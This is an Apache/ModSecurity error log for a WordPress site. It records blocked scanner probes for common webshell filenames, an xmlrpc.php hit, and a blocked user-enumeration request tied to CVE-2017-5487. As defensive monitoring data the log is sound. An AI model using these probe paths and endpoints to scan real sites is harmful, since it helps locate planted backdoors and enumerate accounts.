[Thu May 14 08:19:39.814695 2026] [:error] [pid 11581:tid 11602] [client 20.197.195.237:18019] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/x402.php"] [unique_id "agUVG_0vF48FbzpvQMWYZwAAAAU"]
[Thu May 14 08:19:44.229531 2026] [:error] [pid 11690:tid 11707] [client 20.197.195.237:18379] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "agUVICnxWuLN8Hptw8mc7QAAAMg"]
[Thu May 14 08:19:46.751777 2026] [:error] [pid 11690:tid 11718] [client 20.197.195.237:18014] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "agUVIinxWuLN8Hptw8mc8gAAANM"]
[Thu May 14 08:19:48.755420 2026] [:error] [pid 11581:tid 11613] [client 20.197.195.237:18023] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "agUVJP0vF48FbzpvQMWYawAAABA"]
[Thu May 14 08:19:50.705725 2026] [:error] [pid 11690:tid 11707] [client 20.197.195.237:18033] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "agUVJinxWuLN8Hptw8mc_QAAAMg"]
[Thu May 14 08:19:52.819060 2026] [:error] [pid 11582:tid 11639] [client 20.197.195.237:18017] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "agUVKPuw2cmFDpGcKhDp7AAAAE4"]
[Thu May 14 08:19:55.265277 2026] [:error] [pid 11690:tid 11706] [client 20.197.195.237:18409] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "agUVKynxWuLN8Hptw8mdCwAAAMc"]
[Thu May 14 08:19:56.197383 2026] [:error] [pid 47673:tid 47681] [client 20.197.195.237:18042] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "agUVLPCGe4cIn3sh5k3L4QAAAUY"]
[Thu May 14 08:19:58.541433 2026] [:error] [pid 47721:tid 47734] [client 20.197.195.237:18007] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws78.php"] [unique_id "agUVLnEmh7_G0hfOa6s66AAAAYs"]
[Thu May 14 08:20:00.708063 2026] [:error] [pid 47721:tid 47730] [client 20.197.195.237:18426] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "agUVMHEmh7_G0hfOa6s67QAAAYc"]
[Thu May 14 08:20:02.819959 2026] [:error] [pid 47673:tid 47676] [client 20.197.195.237:18375] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "agUVMvCGe4cIn3sh5k3L5QAAAUE"]
[Thu May 14 08:20:04.694541 2026] [:error] [pid 47721:tid 47741] [client 20.197.195.237:18385] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "agUVNHEmh7_G0hfOa6s68gAAAZI"]
[Thu May 14 08:20:08.954857 2026] [:error] [pid 47721:tid 47739] [client 20.197.195.237:18360] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f5.php"] [unique_id "agUVOHEmh7_G0hfOa6s69wAAAZA"]
[Thu May 14 08:20:13.168119 2026] [:error] [pid 11588:tid 11666] [client 20.197.195.237:18338] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "agUVPdUr21rOixkeGKYiTAAAAI4"]
[Thu May 14 08:20:14.772741 2026] [:error] [pid 11582:tid 11625] [client 20.197.195.237:17991] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "agUVPvuw2cmFDpGcKhDp9wAAAEA"]
[Thu May 14 08:20:16.824920 2026] [:error] [pid 11690:tid 11711] [client 20.197.195.237:18240] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "agUVQCnxWuLN8Hptw8mdLwAAAMw"]
[Thu May 14 08:20:19.723460 2026] [:error] [pid 11690:tid 11705] [client 20.197.195.237:18380] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alpha.php"] [unique_id "agUVQynxWuLN8Hptw8mdNgAAAMY"]
[Thu May 14 08:20:22.142963 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:18407] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son1.php"] [unique_id "agUVRinxWuLN8Hptw8mdRQAAAMI"]
[Thu May 14 08:20:24.588224 2026] [:error] [pid 11690:tid 11710] [client 20.197.195.237:18390] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/son1.php"] [unique_id "agUVSCnxWuLN8Hptw8mdSQAAAMs"]
[Thu May 14 08:20:25.593666 2026] [proxy_fcgi:error] [pid 47721:tid 47745] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:25.906314 2026] [proxy_fcgi:error] [pid 47721:tid 47731] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:26.218649 2026] [proxy_fcgi:error] [pid 47721:tid 47747] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:26.533163 2026] [proxy_fcgi:error] [pid 47721:tid 47734] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:26.982803 2026] [proxy_fcgi:error] [pid 47721:tid 47725] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:27.400027 2026] [proxy_fcgi:error] [pid 47721:tid 47742] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:27.712833 2026] [proxy_fcgi:error] [pid 47721:tid 47729] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:28.031398 2026] [proxy_fcgi:error] [pid 47721:tid 47726] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:28.358820 2026] [proxy_fcgi:error] [pid 47721:tid 47728] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:28.671366 2026] [proxy_fcgi:error] [pid 47721:tid 47724] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:28.991663 2026] [proxy_fcgi:error] [pid 47721:tid 47746] [client 20.197.195.237:18327] AH01071: Got error 'Primary script unknown'
[Thu May 14 08:20:29.300323 2026] [:error] [pid 47721:tid 47731] [client 20.197.195.237:18327] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "agUVTXEmh7_G0hfOa6s7IQAAAYg"]
[Thu May 14 08:20:30.933150 2026] [:error] [pid 47721:tid 47739] [client 20.197.195.237:18389] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "agUVTnEmh7_G0hfOa6s7JgAAAZA"]
[Thu May 14 08:20:32.390563 2026] [:error] [pid 11588:tid 11673] [client 20.197.195.237:18041] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "agUVUNUr21rOixkeGKYiWQAAAJU"]
[Thu May 14 08:20:33.298293 2026] [:error] [pid 11690:tid 11702] [client 20.197.195.237:18381] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/simple.php"] [unique_id "agUVUSnxWuLN8Hptw8mdXAAAAMM"]
[Thu May 14 08:20:34.994525 2026] [:error] [pid 47721:tid 47732] [client 20.197.195.237:18034] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "agUVUnEmh7_G0hfOa6s7KQAAAYk"]
[Thu May 14 08:20:36.243516 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:18405] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "agUVVCnxWuLN8Hptw8mdYwAAAMI"]
[Thu May 14 08:20:37.261865 2026] [:error] [pid 47673:tid 47685] [client 20.197.195.237:18394] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "agUVVfCGe4cIn3sh5k3MAgAAAUo"]
[Thu May 14 08:20:38.249230 2026] [:error] [pid 63033:tid 63043] [client 20.197.195.237:18009] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws81.php"] [unique_id "agUVVlMY49UWn5BpqVaIeQAAAQg"]
[Thu May 14 08:20:39.729738 2026] [:error] [pid 47673:tid 47687] [client 20.197.195.237:18371] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "agUVV_CGe4cIn3sh5k3MBAAAAUw"]
[Thu May 14 08:20:40.894971 2026] [:error] [pid 47673:tid 47683] [client 20.197.195.237:18395] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "agUVWPCGe4cIn3sh5k3MBgAAAUg"]
[Thu May 14 08:20:42.117640 2026] [:error] [pid 63033:tid 63049] [client 20.197.195.237:18356] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "agUVWlMY49UWn5BpqVaIfwAAAQ4"]
[Thu May 14 08:20:44.014841 2026] [:error] [pid 11588:tid 11655] [client 20.197.195.237:18418] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "agUVXNUr21rOixkeGKYiZQAAAIM"]
[Thu May 14 08:20:45.599570 2026] [:error] [pid 63033:tid 63052] [client 20.197.195.237:18325] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "agUVXVMY49UWn5BpqVaIiAAAARE"]
[Thu May 14 08:20:47.817076 2026] [:error] [pid 11690:tid 11712] [client 20.197.195.237:17984] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "agUVXynxWuLN8Hptw8mdewAAAM0"]
[Thu May 14 08:20:50.996598 2026] [:error] [pid 11690:tid 11707] [client 20.197.195.237:18000] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "agUVYinxWuLN8Hptw8mdggAAAMg"]
[Thu May 14 08:20:53.285942 2026] [:error] [pid 63033:tid 63042] [client 20.197.195.237:18030] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xfile25.php"] [unique_id "agUVZVMY49UWn5BpqVaIkgAAAQc"]
[Thu May 14 08:20:54.313658 2026] [:error] [pid 47721:tid 47736] [client 20.197.195.237:18374] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxml.php"] [unique_id "agUVZnEmh7_G0hfOa6s7PwAAAY0"]
[Thu May 14 08:20:55.820778 2026] [:error] [pid 11582:tid 11629] [client 20.197.195.237:18263] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxml.php"] [unique_id "agUVZ_uw2cmFDpGcKhDqAgAAAEQ"]
[Thu May 14 08:20:57.744152 2026] [:error] [pid 63033:tid 63059] [client 20.197.195.237:18043] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxml.php"] [unique_id "agUVaVMY49UWn5BpqVaImAAAARg"]
[Thu May 14 08:20:58.818083 2026] [:error] [pid 63033:tid 63047] [client 20.197.195.237:18006] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpxml.php"] [unique_id "agUValMY49UWn5BpqVaInAAAAQw"]
[Thu May 14 08:21:01.587599 2026] [:error] [pid 63033:tid 63057] [client 20.197.195.237:18377] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xstelth.php"] [unique_id "agUVbVMY49UWn5BpqVaInwAAARY"]
[Thu May 14 08:21:03.629055 2026] [:error] [pid 11581:tid 11602] [client 20.197.195.237:18021] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xstelth.php"] [unique_id "agUVb_0vF48FbzpvQMWYiAAAAAU"]
[Thu May 14 08:21:05.834562 2026] [:error] [pid 63033:tid 63038] [client 20.197.195.237:18391] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xstelth.php"] [unique_id "agUVcVMY49UWn5BpqVaIpQAAAQM"]
[Thu May 14 08:21:07.195123 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:18024] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xstelth.php"] [unique_id "agUVcynxWuLN8Hptw8mdtwAAAMI"]
[Thu May 14 08:21:09.673149 2026] [:error] [pid 11690:tid 11701] [client 20.197.195.237:18248] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/min.php"] [unique_id "agUVdSnxWuLN8Hptw8mdyAAAAMI"]
[Thu May 14 08:21:11.690753 2026] [:error] [pid 11690:tid 11707] [client 20.197.195.237:18032] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/min.php"] [unique_id "agUVdynxWuLN8Hptw8md1QAAAMg"]
[Thu May 14 08:21:13.013817 2026] [:error] [pid 11582:tid 11630] [client 20.197.195.237:18419] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/min.php"] [unique_id "agUVefuw2cmFDpGcKhDqDQAAAEU"]
[Thu May 14 08:21:16.195381 2026] [:error] [pid 11582:tid 11636] [client 20.197.195.237:18401] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/min.php"] [unique_id "agUVfPuw2cmFDpGcKhDqEAAAAEs"]
[Thu May 14 08:21:18.478674 2026] [:error] [pid 11582:tid 11640] [client 20.197.195.237:18016] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geforce.php"] [unique_id "agUVfvuw2cmFDpGcKhDqFAAAAE8"]
[Thu May 14 08:21:23.267861 2026] [:error] [pid 11582:tid 11641] [client 20.197.195.237:18002] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geforce.php"] [unique_id "agUVg_uw2cmFDpGcKhDqGAAAAFA"]
[Thu May 14 08:21:26.421942 2026] [:error] [pid 11582:tid 11638] [client 20.197.195.237:18318] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geforce.php"] [unique_id "agUVhvuw2cmFDpGcKhDqHAAAAE0"]
[Thu May 14 08:21:27.981426 2026] [:error] [pid 47721:tid 47738] [client 20.197.195.237:18410] [client 20.197.195.237] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/geforce.php"] [unique_id "agUVh3Emh7_G0hfOa6s7cgAAAY8"]
[Thu May 14 08:21:30.960545 2026] [proxy_fcgi:error] [pid 11582:tid 11632] [client 20.197.195.237:18392] AH01071: Got error 'Primary script unknown'
[Thu May 14 13:06:28.577521 2026] [:error] [pid 47721:tid 47732] [client 177.92.48.100:22048] [client 177.92.48.100] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.92.48.100, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "agVYVHEmh7_G0hfOa6uQnwAAAYk"]
[Thu May 14 13:06:28.588566 2026] [proxy_fcgi:error] [pid 47721:tid 47732] [client 177.92.48.100:22048] AH01071: Got error 'Primary script unknown'
[Thu May 14 15:43:48.053809 2026] [:error] [pid 11582:tid 11628] [client 37.139.53.198:13234] [client 37.139.53.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agV9NPuw2cmFDpGcKhAiVgAAAEM"]
